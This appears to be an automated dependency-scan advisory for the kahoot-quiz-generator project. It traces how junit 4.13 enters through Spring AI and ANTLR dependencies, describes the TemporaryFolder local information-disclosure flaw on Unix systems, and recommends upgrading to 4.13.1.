Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-client@2.0.0-M1 › org.springframework.ai:spring-ai-client-chat@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-embedding-observation@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-image-observation@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-tool@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-openai@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-observation@2.0.0-M1 › org.springframework.ai:spring-ai-client-chat@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
Overview
junit:junit is an unit testing framework for Java
Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.
Remediation
Upgrade junit:junit to version 4.13.1 or higher.